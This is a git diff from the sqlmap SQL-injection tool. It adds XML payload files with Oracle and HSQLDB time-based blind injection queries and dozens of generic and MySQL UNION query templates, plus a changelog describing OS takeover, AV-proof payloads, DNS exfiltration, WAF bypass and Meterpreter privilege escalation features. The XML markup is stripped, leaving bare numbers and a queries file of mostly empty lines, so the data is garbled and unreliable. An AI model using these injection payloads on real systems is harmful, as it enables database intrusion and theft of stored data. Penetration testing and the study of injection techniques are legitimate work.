+ Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query)
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query)
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+ --
+
+
+ [DELAYED]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query)
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))
+
+
+ [DELAYED]
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+
diff --git a/data/xml/payloads/union_query.xml b/data/xml/payloads/union_query.xml
new file mode 100644
index 00000000000..9513892fafb
--- /dev/null
+++ b/data/xml/payloads/union_query.xml
@@ -0,0 +1,742 @@
+
+
+
+
+
+ Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+
+
+ Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+
+
+ Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+
+
+ Generic UNION query ([CHAR]) - 1 to 10 columns
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 1-10
+
+
+
+
+
+
+
+ Generic UNION query (NULL) - 1 to 10 columns
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 1-10
+
+
+
+
+
+
+
+ Generic UNION query ([RANDNUM]) - 1 to 10 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 1-10
+
+
+
+
+
+
+
+ Generic UNION query ([CHAR]) - 11 to 20 columns
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 11-20
+
+
+
+
+
+
+
+ Generic UNION query (NULL) - 11 to 20 columns
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 11-20
+
+
+
+
+
+
+
+ Generic UNION query ([RANDNUM]) - 11 to 20 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 11-20
+
+
+
+
+
+
+
+ Generic UNION query ([CHAR]) - 21 to 30 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 21-30
+
+
+
+
+
+
+
+ Generic UNION query (NULL) - 21 to 30 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 21-30
+
+
+
+
+
+
+
+ Generic UNION query ([RANDNUM]) - 21 to 30 columns
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 21-30
+
+
+
+
+
+
+
+ Generic UNION query ([CHAR]) - 31 to 40 columns
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 31-40
+
+
+
+
+
+
+
+ Generic UNION query (NULL) - 31 to 40 columns
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 31-40
+
+
+
+
+
+
+
+ Generic UNION query ([RANDNUM]) - 31 to 40 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 31-40
+
+
+
+
+
+
+
+ Generic UNION query ([CHAR]) - 41 to 50 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 41-50
+
+
+
+
+
+
+ Generic UNION query (NULL) - 41 to 50 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 41-50
+
+
+
+
+
+
+
+ Generic UNION query ([RANDNUM]) - 41 to 50 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 41-50
+
+
+
+
+
+
+
+ MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([CHAR]) - 1 to 10 columns
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 1-10
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query (NULL) - 1 to 10 columns
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 1-10
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([RANDNUM]) - 1 to 10 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 1-10
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([CHAR]) - 11 to 20 columns
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 11-20
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query (NULL) - 11 to 20 columns
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 11-20
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([RANDNUM]) - 11 to 20 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 11-20
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([CHAR]) - 21 to 30 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 21-30
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query (NULL) - 21 to 30 columns
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 21-30
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([RANDNUM]) - 21 to 30 columns
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 21-30
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([CHAR]) - 31 to 40 columns
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 31-40
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query (NULL) - 31 to 40 columns
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 31-40
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([RANDNUM]) - 31 to 40 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 31-40
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([CHAR]) - 41 to 50 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 41-50
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query (NULL) - 41 to 50 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 41-50
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL UNION query ([RANDNUM]) - 41 to 50 columns
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 41-50
+
+
+
+
+
+ MySQL
+
+
+
+
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
new file mode 100644
index 00000000000..5196459cc33
--- /dev/null
+++ b/data/xml/queries.xml
@@ -0,0 +1,1846 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ />
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/doc/AUTHORS b/doc/AUTHORS
index d3758d676d3..300711a3a14 100644
--- a/doc/AUTHORS
+++ b/doc/AUTHORS
@@ -1,7 +1,7 @@
-Bernardo Damele Assumpcao Guimaraes (@inquisb)
-
-
-Miroslav Stampar (@stamparm)
-
-
-You can contact both developers by writing to dev@sqlmap.org
+Bernardo Damele Assumpcao Guimaraes (@inquisb)
+
+
+Miroslav Stampar (@stamparm)
+
+
+You can contact both developers by writing to dev@sqlmap.org
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
new file mode 100644
index 00000000000..dada8fb47e0
--- /dev/null
+++ b/doc/CHANGELOG.md
@@ -0,0 +1,418 @@
+# Version 1.10 (2026-01-01)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1)
+
+# Version 1.9 (2025-01-02)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1)
+
+# Version 1.8 (2024-01-03)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1)
+
+# Version 1.7 (2023-01-02)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1)
+
+# Version 1.6 (2022-01-03)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1)
+
+# Version 1.5 (2021-01-03)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1)
+
+# Version 1.4 (2020-01-01)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
+
+# Version 1.3 (2019-01-05)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
+
+# Version 1.2 (2018-01-08)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
+
+# Version 1.1 (2017-04-07)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
+
+# Version 1.0 (2016-02-27)
+
+* Implemented support for automatic decoding of page content through detected charset.
+* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
+* Major improvements to program stabilization based on user reports.
+* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
+* Fixed major bug with DNS leaking in Tor mode.
+* Added wordlist compilation made of the most popular cracking dictionaries.
+* Implemented multi-processor hash cracking routine(s).
+* Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method.
+* Old resume files are now deprecated and replaced by faster SQLite based session mechanism.
+* Substantial code optimization and smaller memory footprint.
+* Added option `-m` for scanning multiple targets enlisted in a given textual file.
+* Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form.
+* Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests.
+* Added option `--host` for manually setting HTTP Host header value.
+* Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself.
+* Added option `--skip` for skipping tests for given parameter(s).
+* Added switch `--titles` for comparing pages based only on their titles.
+* Added option `--charset` for forcing character encoding used for data retrieval.
+* Added switch `--check-tor` for checking if Tor is used properly.
+* Added option `--crawl` for multithreaded crawling of a given website starting from the target url.
+* Added option `--csv-del` for manually setting delimiting character used in CSV output.
+* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
+* Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
+* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
+* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
+* Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
+* Major improvements to switches `--tables` and `--columns`.
+* Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof.
+* Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header.
+* Added switch `-a` to enumerate all DBMS data.
+* Added option `--alert` to run host OS command(s) when SQL injection is found.
+* Added option `--answers` to set user answers to asked questions during sqlmap run.
+* Added option `--auth-file` to set HTTP authentication PEM cert/private key file.
+* Added option `--charset` to force character encoding used during data retrieval.
+* Added switch `--check-tor` to force checking of proper usage of Tor.
+* Added option `--code` to set HTTP code to match when query is evaluated to True.
+* Added option `--cookie-del` to set character to be used while splitting cookie values.
+* Added option `--crawl` to set the crawling depth for the website starting from the target URL.
+* Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`).
+* Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token.
+* Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token.
+* Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`).
+* Added option `--dbms-cred` to set the DBMS authentication credentials (user:password).
+* Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies.
+* Added switch `--disable-coloring` to disable console output coloring.
+* Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s).
+* Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`).
+* Added option `--eval` for setting the Python code that will be evaluated before the request.
+* Added switch `--force-ssl` to force usage of SSL/HTTPS.
+* Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval.
+* Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`).
+* Added switch `-hh` for showing advanced help message.
+* Added option `--host` to set the HTTP Host header value.
+* Added switch `--hostname` to turn on retrieval of DBMS server hostname.
+* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
+* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
+* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
+* Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
+* Added switch `--invalid-logical` for usage of logical operations while invalidating values.
+* Added switch `--invalid-string` for usage of random strings while invalidating values.
+* Added option `--load-cookies` to set the file containing cookies in Netscape/wget format.
+* Added option `-m` to set the textual file holding multiple targets for scanning purposes.
+* Added option `--method` to force usage of provided HTTP method (e.g. `PUT`).
+* Added switch `--no-cast` for turning off payload casting mechanism.
+* Added switch `--no-escape` for turning off string escaping mechanism.
+* Added option `--not-string` for setting string to be matched when query is evaluated to False.
+* Added switch `--offline` to force work in offline mode (i.e. only use session data).
+* Added option `--output-dir` to set custom output directory path.
+* Added option `--param-del` to set character used for splitting parameter values.
+* Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing).
+* Added option `--proxy-file` to set file holding proxy list.
+* Added switch `--purge-output` to turn on safe removal of all content(s) from output directory.
+* Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run.
+* Added option `--safe-post` to set POST data for sending to safe URL.
+* Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL.
+* Added option `--skip` to skip testing of given parameter(s).
+* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
+* Added switch `--skip-urlencode` to skip URL encoding of payload data.
+* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
+* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
+* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
+* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
+* Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`).
+* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`).
+* Added switch `--titles` to turn on comparison of pages based only on their titles.
+* Added option `--tor-port` to explicitly set Tor proxy port.
+* Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`).
+* Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection.
+* Added option `--where` to set `WHERE` condition to be used during the table dumping.
+* Added option `-X` to exclude DBMS database table column(s) from enumeration.
+* Added option `-x` to set URL of sitemap(.xml) for target(s) parsing.
+* Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`).
+
+# Version 0.9 (2011-04-10)
+
+* Rewritten SQL injection detection engine.
+* Support to directly connect to the database without passing via a SQL injection, option `-d`.
+* Added full support for both time-based blind SQL injection and error-based SQL injection techniques.
+* Implemented support for SQLite 2 and 3.
+* Implemented support for Firebird.
+* Implemented support for Microsoft Access, Sybase and SAP MaxDB.
+* Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`.
+* Added support to tamper injection data with option `--tamper`.
+* Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack.
+* Added support to enumerate roles on Oracle, `--roles` switch.
+* Added support for SOAP based web services requests.
+* Added support to fetch unicode data.
+* Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`.
+* Implemented several optimization switches to speed up the exploitation of SQL injections.
+* Support to test and inject against HTTP Referer header.
+* Implemented HTTP(s) proxy authentication support, option `--proxy-cred`.
+* Implemented feature to speedup the enumeration of table names.
+* Support for customizable HTTP(s) redirections.
+* Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`.
+* Support to parse and test forms on target url, switch `--forms`.
+* Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL.
+* Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection.
+* Added safe URL feature, `--safe-url` and `--safe-freq`.
+* Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content.
+* Implemented few other features and switches.
+* Over 100 bugs fixed.
+* Major code refactoring.
+* User's manual updated.
+
+# Version 0.8 (2010-03-14)
+
+* Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials.
+* Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table.
+* Support for takeover features on PostgreSQL 8.4.
+* Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows.
